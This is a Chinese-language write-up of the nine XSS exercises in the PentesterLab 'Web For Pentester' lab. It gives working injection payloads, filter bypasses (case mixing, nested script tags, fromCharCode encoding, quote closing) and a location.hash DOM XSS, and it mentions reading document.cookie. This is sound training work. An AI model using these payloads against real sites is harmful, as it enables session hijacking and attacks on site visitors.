1. 程式人生 > 其它 >20210205pentestLab1靶場XSS

20210205pentestLab1靶場XSS

技術標籤:pentestlabweb

Pentester中的XSS詳解
        </h1>
        <div class="clear"></div>
        <div class="postBody">
            
<div id="cnblogs_post_description" style="display: none">
    <img src="http://ombgvjpli.bkt.clouddn.com/20971786578_72ddb0f672_k-800x450.jpg" height="300" width="600">

記錄了PentesterLab中的XSS題的解題方法,普及了一些XSS入門知識。
本次做的是Web For Pentester靶機裡面的XSS題目,一共有9道題目。
關於靶機搭建參考這篇文章:滲透測試靶機的搭建

本次做的是Web For Pentester靶機裡面的XSS題目,一共有9道題目。
關於靶機搭建參考這篇文章:滲透測試靶機的搭建

第1題(無過濾措施)

首先在後面輸入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下頁面:
image
然後檢視下原始碼:
image
感覺這裡沒有任何的防禦措施,忍不住笑出了聲。
image
有很多的標籤裡面都可以呼叫HTML的事件屬性來彈窗,為了節約時間,下面我就列舉出一些比較常用的手法。

利用基本的script標籤來彈窗

Payload

<script>alert('xss')</script> 

定義和用法

script 標籤用於定義客戶端指令碼,比如 JavaScript。

效果圖

image

利用iframe標籤的的src屬性來彈窗

Payload

<iframe src=javascript:alert('xss')></iframe>

定義和用法

iframe 元素會建立包含另外一個文件的內聯框架(即行內框架)。

效果圖

image

利用標籤的href屬性來彈窗

Payload

<a href=javascript:alert('xss
')>
ggtest</a>

這裡就是超連結到了:javascript:alert('xss')
效果和瀏覽器直接開啟這個地址:javascript:alert('xss')是一樣的
這裡還可以使用:javascript:alert(document.cookie) 來彈出當前會話的cookie
image

定義和用法

標籤定義超連結,用於從一張頁面連結到另一張頁面。
元素最重要的屬性是 href 屬性,它指示連結的目標。
指向國光部落格的一個例子:

<a href="http://git.sqlsec.com”>國光部落格</a> 

效果圖

image

利用標籤來彈窗

Payload

<img src=1 onerror=alert('xss')>  

這裡的src後面是填寫的 是 圖片的地址,為了 測試簡便 這個地址裡面我們一般隨便填寫,比如這裡我們填寫的就是 1,因為1不是一個正確的值,所以 觸發了後面的 onerror事件(遇到錯誤 就觸發)
image
當然如果在src裡面填寫一個正常的URL的話,就不會彈窗的了,因為onerror的觸發條件是得報錯。
image
src後面的值是正確的時候呢,這個還可以用 oneclick事件來觸發彈窗

<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>  

這裡不論src後面的值 是否正確,只要滑鼠點選,就會觸發 彈窗事件。
image
類似onerror和onclick的時間有很多種下面

列舉出常見的事件

Windows事件屬性

事件作用
onerror在錯誤發生時執行的指令碼
onload頁面結束載入之後觸發

Keyboard 事件

事件作用
onkeydown在使用者按下按鍵時觸發
onkeypress在使用者敲擊按鈕時觸發
onkeyup當用戶釋放按鍵時觸發

滑鼠(Mouse)事件

事件作用
onclick元素上發生滑鼠點選時觸發
onmousedown當元素上按下滑鼠按鈕時觸發
onmousemove當滑鼠指標移動到元素上時觸發。
onmouseover當滑鼠指標移動到元素上時觸
onmouseout當滑鼠指標移出元素時觸發
onmouseup當在元素上釋放滑鼠按鈕時觸發

定義和用法

img 元素向網頁中嵌入一幅影象。
請注意,從技術上講, 標籤並不會在網頁中插入影象,而是從網頁上鍊接影象。 標籤建立的是被引用影象的佔位空間。
標籤有兩個必需的屬性:src 屬性 和 alt 屬性

凡是支援事件的HTML標籤都是可以彈窗的,在HTML中支援事件屬性的標籤很多,下面我就

列舉出一些支援事件的HTML常見標籤

標籤作用
a定義超連結,用於從一張頁面連結到另一張頁面,最重要的屬性是 href 屬性,它指示連結的目標
article規定獨立的自包含內容一篇文章應有其自身的意義,應該有可能獨立於站點的其餘部分對其進行分發
audio定義聲音,比如音樂或其他音訊流
b規定粗體文字
body定義文件的主體,包含文件的所有內容
br只是簡單地開始新的一行
button定義一個按鈕
iframe會建立包含另外一個文件的內聯框架
img向網頁中嵌入一幅影象
select可建立單選或多選選單
style用於為 HTML 文件定義樣式資訊
textarea標籤定義多行的文字輸入控制元件
video定義視訊,比如電影片段或其他視訊流

第一題因為沒有任何的過濾,所以理論上支援呼叫HTML事件屬性的標籤都是可以成功彈窗的,下面來個

綜合點的payload

http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通過按鈕點選觸發xss</button> <font size="4" color="blue" onmouseover=alert('xss')>  移動到元素觸發xss  </font> <br> 
<select> <option onclick=alert('x')>onclick點選觸發事件</option> <option values=1 onmousedown=alert('ss')>onmousedown觸發</option></select> <a href=javascript:alert('xss')>利用a標籤的href屬性觸發</a> <br>
<textarea placeholder=國光的xss測試:鍵盤按鍵觸發xss onkeypress=alert('xss')></textarea>

image

第2題(大小寫轉換)

這一題的話, 除了<script>alert('xss')</script>這個payload,其他用第一題中的其他payload:

<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...

依然還是可以的,好吧,為了不這麼容易做完這道題目,我們來下面的題目都儘量使用<script>alert('xss')</script>來試試看
image
檢視下原始碼:
image
這裡我們猜測過濾<script></script>
然後這裡嘗試下大小寫轉換,嘗試著繞過過濾:

<Script>alert('xss')</scripT>

可以看到成功繞過了:
image

第3題(巢狀構造)

直接輸入

<Script>alert('xss')</scripT>

發現大小寫轉換的這個套路已經不能夠使用了
image
得到結論是:沒有過濾alert('xss'),現在就把注意力集中在 <script></script>
Fuzz測試一下,看看具體過濾了哪些字元?然後再想辦法繞過。

http://10.211.55.16/xss/example3.php?name=<></>script<script>

image
可以看出過濾了:</script><script>
嘗試構造輸入:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

image
檢視原始碼後發現成功構造出

<script> 

於是判斷這裡只顧慮了一次,接著嘗試構造如下完整的payload:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

image

第4題(利用標籤繞過)

直接輸入:<script>alert('xss')</script>發現直接 error
於是再次出嘗試輸入:

http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>

image
再次得出結論:沒有過濾<> </> alerrt('xss'),現在主要想辦法對script做個處理來繞過過濾。
然而我各種編碼都沒有繞過,有的編碼的確是繞過了,但是貌似沒有解析指令碼 =,=
哎~~~放棄用這種形式的<script>alert('xss')</script>的payload了,於是乎使用下面的<img>標籤成功繞過:

<img src=1 onerror=alert('xss')>

第5題(String.fromCharCode編碼繞過)

首先執行:

<script>alert('xss')</script>

發現直接就 報 error了,於是fuzz測試發現並沒有過濾:<script></script>
只是過濾了:alert
利用火狐瀏覽器的hackbar外掛對alert('xss')進行String.fromCharCode轉換:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

image

第6題(閉合標籤)

首先預設檢視下原始碼:
image
發現我們輸出的hacker作為了一個變數賦值給了a,並且這個變數在<script>這個標籤中
這樣的話,只要能夠突破這個賦值的變數,就可以利用這個<script>這個標籤來彈窗了。
下面想辦法閉合進行fuzz測試......
這裡邊看原始碼邊做調整。幾次測試後得到如下可以彈窗的payload:

11";</script><img src=1 onerror=alert('xss')><script>

image
來檢視下原始碼來簡單的分析一下:


Hello 
<script>
	var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
	      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

pauyload最前面的
11";</script> 閉合了前面的<script>標籤
最後面的
<script> 閉合了後面的<script>標籤
中間的

<img src=1 onerror=alert('xss')>

用來觸發 彈窗事件

第7題

首先來檢視下原始碼:
image
感覺貌似和第6題差不多,於是稍微修改了下使用下面的payload來進行測試:

 hacker';</script><img src=1 onerror=alert('xss')><script>

結果並沒有彈窗,趕緊檢視下原始碼壓壓驚:
image
可以看到對輸入的 </>符號進行轉義了,導致我們的彈窗失敗。
所以現在的著重點就是 如何處理這些符號:
</>
然而我失敗了,對這些符號進行轉碼也是失敗了,後來想了好久終於知道問題所在了:
受到以前閉合一句話木馬的緣故,我老是想著閉合首尾的標籤
後來仔細想想,這個變數 就在<script>裡面,可以在裡面直接寫alert('xss')來彈窗的,這樣也就不需要使用
</>特殊符號了。這麼看來的話,第6題 也應該這麼來做,奇葩的我,居然是閉合的方式來彈窗的....

http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

image
檢視下原始碼:


Hello 
<script>
	var $a= "name=";alert('xss');var b="";
</script>
	      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

這裡 巧妙的利用了 ; 來在<script>標籤裡面執行alert('xss')

第8題

是一個輸入框,然後輸入payload:<img src=1 onerror=alert('xss')>;來試試看,檢視原始碼:

HELLO &lt;img src=1 οnerrοr=alert('xss')&gt;<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>
  <span class="hljs-tag">&lt;<span class="hljs-name">footer</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span><span class="hljs-symbol">&amp;copy;</span> PentesterLab 2013<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">footer</span>&gt;</span>

發現也是對 < > 標籤進行轉義了,這裡進行各種編碼也沒有繞過。
又是好久也沒有成功突破,最後仔細看原始碼,發現突破點在於

<form action="/xss/example8.php"

這是第8題的URL,於是注意力轉移到URL處,嘗試在URL後面新增

http://10.211.55.16/xss/example8.php/

檢視原始碼:
image
發現我們最後新增的 :/ 寫在了<form>這個標籤中,於是在這裡進行fuzz測試,嘗試閉合標籤,最後構造的payload如下:

http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form

來檢視下原始碼來分析剛剛構造的payload:

<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

可以看到這裡
/"閉合了最前面的<form>
<form> 閉合了最後面的/>
中間的
<img src=1 onerror=alert('xss')> 觸發了彈窗事件

第9題

這一題很特殊,不愧是大boss,這裡首先檢視下原始碼:
image
在原始碼中完全找不到hacker的任何字樣,於是仔細百度最可疑的地方:

<script>
  document.write(location.hash.substring(1));
</script>

找到一份資料:http://www.runoob.com/jsref/prop-loc-hash.html
這裡可以大概看出這裡是讀取#後面的東西,於是乎簡單的在#後面構造xss語句:

http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico οnclick=alert('Bingo')>

最後一道題目了,得錄製個gif來慶祝一下: